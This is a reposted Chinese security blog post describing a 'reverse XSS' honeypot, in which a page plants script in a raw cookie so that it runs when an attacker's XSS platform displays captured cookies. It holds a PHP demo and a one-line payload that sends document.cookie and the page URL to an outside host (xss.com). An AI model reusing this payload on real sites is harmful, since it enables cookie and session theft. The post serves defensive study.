注意了,使用XSS平台的你可能被“偷窥”

故君子之治人也,即以其人之道,还治其人之身。

Par1:你要了解的事

XSS平台:

玩渗透测试的人,对XSS平台应该不会陌生。

最简单的XSS平台,通常可以记录访问的url,访问时的cookie等。稍微复杂的功能,可能还会记录键盘输入,获取页面源码,截取网页屏幕等。

接下来,我会在本地安装一个github上的一个简单的xss平台项目,用作演示。

随便找的一个相对简单的XSS平台项目,地址:https://github.com/keyus/xss

设置COOKIE:

对于 cookie 的值进行编码一直都存在一些困惑。普遍认为 cookie 的值必须经过 URL 编码,但其实这是一个谬论,尽管通常都这么做。原始规范中明确指出只有三个字符必须进行编码:分号、逗号和空格,规范中还提到可以进行 URL 编码,但并不是必须,在 RFC 中没有提及任何编码。然而,几乎所有的实现都对 cookie 的值进行了一系列的 URL 编码。对于 name=value 格式,通常会对 name 和 value 分别进行编码,而不对等号 = 进行编码操作。 setcookie() 函数在发送 cookie 时,cookie 的值会自动进行 URL 编码,在取回时进行自动解码,为防止 URL 编码,请使用 setrawcookie() 取而代之。

Par2:姑且称之为XSS反弹攻击吧

OK,我已经在本地将xss平台搭建成功,而且可以正常使用,除了页面样式有点丑。

接下来,好戏开演了~

是否有人想过,如果我在cookie中,放入xss跨站语句,那么会有什么结果。接下来,就来个演示吧。

原理图片:

服务器B上的演示用的代码:

<?php
setcookie("normal","cookietwo");
setrawcookie("rawcookie","<script>alert(document.cookie)</script>");
?>
<html>
<head>
<title> A XSS honeypot demo</title>
</head>
<body>
<p>Just a XSS honeypot test~</p>
<script src=http://192.168.58.140/xss/></script>
</body>
</html>

<script src=http://192.168.58.140/xss/></script> 为A的XSS攻击语句,http://192.168.58.140/xss是XSS平台接口

可以试想一下,如果我将包含xss攻击语句的cookie发送给了xss平台,而xss平台恰巧没对返回的参数进行编码,那会出现什么状况呢,接下来就进行演示了。

A对网站B进行XSS跨站攻击:

A打开XSS平台,查看获取到的网站B的cookie:

可以看到,cookie中的xss跨站语句,被放到了页面中,并且可以成功执行。

但是,在实际应用中,攻击语句大多为:

<script src= xss.com></script>

攻击语句中包含了空格,但是在Cookie设置中,是不允许包含空格,分号,这个反而成了实际应用的一个需要解决的点。

还好,既然可以执行script语句,那么就可以直接把xss攻击语句放到javascript中,但也就能写一句,所以可以给出一个很low的解决方案,如下:

setrawcookie("eval","<script>window.location.href='http://xss.com?tosend='+document.cookie+window.location.href</script>");

姑且称为“一句话跨站攻击”吧~

可以简单的获取到A’s XSS平台的cookie及url,虽然可以被人发现,但是已经不重要了~

Par3:除了愚弄一下攻击者,还能做什么

思路可以再猥琐一些。

如果一个XSS平台存在跨站,那么我们就可以自己对自己进行XSS攻击。这样,就可以监视自己的cookie是否被其他人查看。说白了,就是防止自己上传的cookie等敏感信息被XSS平台管理者偷看,防人之心不可无么~

Par4:尾声

在实际的环境中,这种攻击方法很难被利用,而且在许多xss平台中,上传的内容会被被编码,导致XSS漏洞并不存在。

但是感觉思路很有意思,所以就自己研究了一下,和大家分享。

各位也可以在自己使用的XSS平台上,测一下,是否存在上述问题,如果存在,也可以给大家提个醒~

另外可以看看这篇文章的姊妹篇《注意了,使用Sqlmap的你可能踩中了“蜜罐”》,可能会找到和这篇文章似曾相识的感觉吧。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-12-03

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏向治洪

百度地图android studio导入开发插件

百度地图SDK v3.5.0开发包下载地址:http://lbsyun.baidu.com/sdk/download?selected=location 开...

1.1K8
来自专栏java达人

Kafka漫游记

我是一条消息,从我被生产者发布到topic的时候,我就清楚自己的使命:被消费者获取消费。但我一直很纳闷,把我直接推送给消费者不就行了,为什么一定要先推送到类似队...

4095
来自专栏青蛙要fly的专栏

Android技能树 — 网络小结(4)之socket/websocket/webservice

介于自己的网络方面知识烂的一塌糊涂,所以准备写相关网络的文章,但是考虑全部写在一篇太长了,所以分开写,希望大家能仔细看,最好可以指出我的错误,让我也能纠正。

993
来自专栏jojo的技术小屋

原 web安全、XSS、CSRF、注入攻击

2843
来自专栏13blog.site

小测试

可以在 @RequestMapping 注解里面加上 method=RequestMethod.GET 或者使用 @GetMapping 注解

1741
来自专栏架构师小秘圈

基于dubbo框架,如何进行大型微服务系统架构设计?

一,为什么需要微服务框架 Nginx+tomcat组成的集群,这已经是非常灵活的集群技术,但是当我们的系统遇到更大的瓶颈,全部应用的单点服务器已经不能满足我们的...

5084
来自专栏jojo的技术小屋

原 web安全、XSS、CSRF、注入攻击

作者:汪娇娇 时间:2017年8月15日 当时也是看了一本书《白帽子讲web安全》,简单的摘录然后做了个技术分享,文章不是很详细,建议大家结合着这本书看哈。 w...

4867
来自专栏挖掘大数据

如何高效地合并Spark社区PR到自己维护的分支

最近刚刚忙完Spark 2.2.0的性能测试及Bug修复,社区又要发布2.1.2了,国庆期间刚好有空,过了一遍2.1.2的相关JIRA,发现有不少重要修复2.2...

3618
来自专栏Golang语言社区

go语言最快最好运用最广的web框架比较(大多数人不了解的特性)

如果你为自己设计一个小应用程序,你可能不需要一个Web框架,但如果你正在进行生产,那么你肯定需要一个,一个好的应用程序。

4094
来自专栏用户2442861的专栏

使用ThinkPHP框架快速开发网站(多图)

http://blog.csdn.net/ruby97/article/details/7574851/

2K2

扫码关注云+社区

领取腾讯云代金券